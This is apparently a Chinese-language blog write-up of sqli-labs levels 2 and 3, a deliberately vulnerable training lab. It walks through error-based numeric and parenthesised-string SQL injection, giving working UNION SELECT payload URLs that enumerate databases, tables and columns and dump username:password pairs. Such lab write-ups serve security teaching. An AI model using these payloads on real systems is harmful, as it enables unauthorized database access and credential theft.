sqli-labs Basic Challenges Less2-3

Less-2  GET - Error based - Intiger based

從題目來看應該是get型的基於報錯的數字型注入

打開第二關如下

如同第一關一樣先加單引號通過報錯信息判斷注入類型

http://www.bj.com/sqli-labs/Less-2/index.php?id=1'

可以看到返回的報錯信息是

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

這裏的錯誤主要是' LIMIT 0,1

也就是說多了一個單引號,而且這個單引號還是我們自行加上去的。

所以這裏可以判斷注入點就是數字型了。

如果跟第一關的字符型比較的話,查詢語句大概就是

select * from users where id=1 limit 0,1

所以我們添加單引號之後就變成了

select * from users where id=1’ limit 0,1

當然數據庫就無法執行要報錯啦。

數字型的注入相對於字符型來說要簡單許多,因爲不需要閉合前面的引號,也不需要註釋後面的語句。

還是同第一關一樣,先判斷當前的查詢表的字段數

http://www.bj.com/sqli-labs/Less-2/index.php?id=1 order by 3

order by 3的時候頁面顯示正常,order by 4的時候就報錯了。

所以當前查詢的表的字段數依然是3列。接下來就是看顯示位了。

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,3

可以看到頁面還是選擇的查詢結果集的第2列和第3列。

再來看看用戶名和當前的數據庫

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,user(),database()

查詢所有的數據庫名

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,group_concat(schema_name) from information_schema.schemata

查詢security數據庫中的所有表名

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

查詢users表中的所有字段名

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

查詢username、password字段的內容

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,group_concat(username,':',password) from security.users

Less-3  GET - Error based - Single quotes with twist - string

看題目的意思是get型的基於報錯的單引號變型的字符型注入。

打開第三關如下

首先添加單引號通過報錯判斷注入的類型

http://www.bj.com/sqli-labs/Less-3/index.php?id=1'

可以看到這裏的報錯似乎不太一樣,返回的報錯信息是

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

具體的錯誤是'1'') LIMIT 0,1

也就是說此處多了一個單引號,原來的格式應該是id=(‘1’)

確實可以說是單引號的變型了,因爲單引號的外部還用()括起來了。那麼針對這種情況我們肯定是需要閉合前面的(‘並且註釋掉後面的語句纔行。

首先判斷當前表的字段數

http://www.bj.com/sqli-labs/Less-3/index.php?id=1') order by 3 --+

order by 3時頁面正常,order by 4時報錯了。

可以判斷字段數爲3,接下來判斷頁面顯示位

http://www.bj.com/sqli-labs/Less-3/index.php?id=-1') union select 1,2,3 --+

可以看到顯示位依然是2,3。後面的步驟就同上了。

http://www.bj.com/sqli-labs/Less-3/index.php?id=-1') union select 1,2,group_concat(username,':',password) from security.users --+

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章